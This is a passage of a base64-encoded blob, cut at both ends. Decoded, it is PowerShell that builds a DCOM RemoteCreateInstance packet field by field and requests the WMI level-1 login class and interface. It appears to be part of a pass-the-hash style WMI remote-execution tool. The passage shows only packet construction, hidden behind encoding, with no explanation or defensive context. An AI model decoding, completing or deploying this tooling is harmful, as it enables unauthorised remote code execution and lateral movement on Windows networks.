QkpSRUZDQkV4dGVuc2lvbiIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZTaXplIiwkcGFja2V0X3NpemUpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1RvdGFsU2l6ZSIsJHBhY2tldF90b3RhbF9zaXplKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNSZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0N1c3RvbUhlYWRlckNvbW1vbkhlYWRlciIsW0J5dGVbXV0oMHgwMSwweDEwLDB4MDgsMHgwMCwweGNjLDB4Y2MsMHhjYywweGNjKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzQ3VzdG9tSGVhZGVyUHJpdmF0ZUhlYWRlciIsW0J5dGVbXV0oMHhiMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzQ3VzdG9tSGVhZGVyVG90YWxTaXplIiwkcGFja2V0X3RvdGFsX3NpemUpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0N1c3RvbUhlYWRlckN1c3RvbUhlYWRlclNpemUiLFtCeXRlW11dKDB4YzAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDdXN0b21IZWFkZXJSZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Rlc3RpbmF0aW9uQ29udGV4dCIsW0J5dGVbXV0oMHgwMiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc051bUFjdGl2YXRpb25Qcm9wZXJ0eVN0cnVjdHMiLFtCeXRlW11dKDB4MDYsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNJbmZvQ2xzaWQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNJZFB0clJlZmVyZW50SUQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAyLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNTaXplc1B0clJlZmVyZW50SUQiLFtCeXRlW11dKDB4MDQsMHgwMCwweDAyLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNOVUxMUG9pbnRlciIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc0lkUHRyTWF4Q291bnQiLFtCeXRlW11dKDB4MDYsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNJZFB0clByb3BlcnR5U3RydWN0R3VpZCIsW0J5dGVbXV0oMHhiOSwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc0lkUHRyUHJvcGVydHlTdHJ1Y3RHdWlkMiIsW0J5dGVbXV0oMHhhYiwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc0lkUHRyUHJvcGVydHlTdHJ1Y3RHdWlkMyIsW0J5dGVbXV0oMHhhNSwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc0lkUHRyUHJvcGVydHlTdHJ1Y3RHdWlkNCIsW0J5dGVbXV0oMHhhNiwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc0lkUHRyUHJvcGVydHlTdHJ1Y3RHdWlkNSIsW0J5dGVbXV0oMHhhNCwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc0lkUHRyUHJvcGVydHlTdHJ1Y3RHdWlkNiIsW0J5dGVbXV0oMHhhYSwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc1NpemVzUHRyTWF4Q291bnQiLFtCeXRlW11dKDB4MDYsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNTaXplc1B0clByb3BlcnR5RGF0YVNpemUiLFtCeXRlW11dKDB4NjgsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNTaXplc1B0clByb3BlcnR5RGF0YVNpemUyIixbQnl0ZVtdXSgweDU4LDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzQ2xzU2l6ZXNQdHJQcm9wZXJ0eURhdGFTaXplMyIsW0J5dGVbXV0oMHg5MCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc0Nsc1NpemVzUHRyUHJvcGVydHlEYXRhU2l6ZTQiLCRwYWNrZXRfcHJvcGVydHlfZGF0YV9zaXplKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNDbHNTaXplc1B0clByb3BlcnR5RGF0YVNpemU1IixbQnl0ZVtdXSgweDIwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzQ2xzU2l6ZXNQdHJQcm9wZXJ0eURhdGFTaXplNiIsW0J5dGVbXV0oMHgzMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTcGVjaWFsU3lzdGVtUHJvcGVydGllc0NvbW1vbkhlYWRlciIsW0J5dGVbXV0oMHgwMSwweDEwLDB4MDgsMHgwMCwweGNjLDB4Y2MsMHhjYywweGNjKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NwZWNpYWxTeXN0ZW1Qcm9wZXJ0aWVzUHJpdmF0ZUhlYWRlciIsW0J5dGVbXV0oMHg1OCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NwZWNpYWxTeXN0ZW1Qcm9wZXJ0aWVzU2Vzc2lvbklEIixbQnl0ZVtdXSgweGZmLDB4ZmYsMHhmZiwweGZmKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NwZWNpYWxTeXN0ZW1Qcm9wZXJ0aWVzUmVtb3RlVGhpc1Nlc3Npb25JRCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTcGVjaWFsU3lzdGVtUHJvcGVydGllc0NsaWVudEltcGVyc29uYXRpbmciLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU3BlY2lhbFN5c3RlbVByb3BlcnRpZXNQYXJ0aXRpb25JRFByZXNlbnQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU3BlY2lhbFN5c3RlbVByb3BlcnRpZXNEZWZhdWx0QXV0aG5MZXZlbCIsW0J5dGVbXV0oMHgwMiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTcGVjaWFsU3lzdGVtUHJvcGVydGllc1BhcnRpdGlvbkd1aWQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU3BlY2lhbFN5c3RlbVByb3BlcnRpZXNQcm9jZXNzUmVxdWVzdEZsYWdzIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NwZWNpYWxTeXN0ZW1Qcm9wZXJ0aWVzT3JpZ2luYWxDbGFzc0NvbnRleHQiLFtCeXRlW11dKDB4MTQsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU3BlY2lhbFN5c3RlbVByb3BlcnRpZXNGbGFncyIsW0J5dGVbXV0oMHgwMiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTcGVjaWFsU3lzdGVtUHJvcGVydGllc1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU3BlY2lhbFN5c3RlbVByb3BlcnRpZXNVbnVzZWRCdWZmZXIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNJbnN0YW50aWF0aW9uSW5mb0NvbW1vbkhlYWRlciIsW0J5dGVbXV0oMHgwMSwweDEwLDB4MDgsMHgwMCwweGNjLDB4Y2MsMHhjYywweGNjKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0luc3RhbnRpYXRpb25JbmZvUHJpdmF0ZUhlYWRlciIsW0J5dGVbXV0oMHg0OCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0luc3RhbnRpYXRpb25JbmZvSW5zdGFudGlhdGVkT2JqZWN0Q2xzSWQiLFtCeXRlW11dKDB4NWUsMHhmMCwweGMzLDB4OGIsMHg2YiwweGQ4LDB4ZDAsMHgxMSwweGEwLDB4NzUsMHgwMCwweGMwLDB4NGYsMHhiNiwweDg4LDB4MjApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzSW5zdGFudGlhdGlvbkluZm9DbGFzc0NvbnRleHQiLFtCeXRlW11dKDB4MTQsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzSW5zdGFudGlhdGlvbkluZm9BY3RpdmF0aW9uRmxhZ3MiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzSW5zdGFudGlhdGlvbkluZm9GbGFnc1N1cnJvZ2F0ZSIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNJbnN0YW50aWF0aW9uSW5mb0ludGVyZmFjZUlkQ291bnQiLFtCeXRlW11dKDB4MDEsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzSW5zdGFudGlhdGlvbkluZm9JbnN0YW50aWF0aW9uRmxhZyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNJbnN0YW50aWF0aW9uSW50ZXJmYWNlSWRzUHRyIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMiwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0luc3RhbnRpYXRpb25FbnRpcmVQcm9wZXJ0eVNpemUiLFtCeXRlW11dKDB4NTgsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzSW5zdGFudGlhdGlvblZlcnNpb25NYWpvciIsW0J5dGVbXV0oMHgwNSwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0luc3RhbnRpYXRpb25WZXJzaW9uTWlub3IiLFtCeXRlW11dKDB4MDcsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNJbnN0YW50aWF0aW9uSW50ZXJmYWNlSWRzUHRyTWF4Q291bnQiLFtCeXRlW11dKDB4MDEsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzSW5zdGFudGlhdGlvbkludGVyZmFjZUlkcyIsW0J5dGVbXV0oMHgxOCwweGFkLDB4MDksMHhmMywweDZhLDB4ZDgsMHhkMCwweDExLDB4YTAsMHg3NSwweDAwLDB4YzAsMHg0ZiwweGI2LDB4ODgsMHgyMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNJbnN0YW50aWF0aW9uSW50ZXJmYWNlSWRzVW51c2VkQnVmZmVyIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0FjdGl2YXRpb25Db250ZXh0SW5mb0NvbW1vbkhlYWRlciIsW0J5dGVbXV0oMHgwMSwweDEwLDB4MDgsMHgwMCwweGNjLDB4Y2MsMHhjYywweGNjKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0FjdGl2YXRpb25Db250ZXh0SW5mb1ByaXZhdGVIZWFkZXIiLFtCeXRlW11dKDB4ODAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9DbGllbnRPayIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9SZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9SZXNlcnZlZDIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3B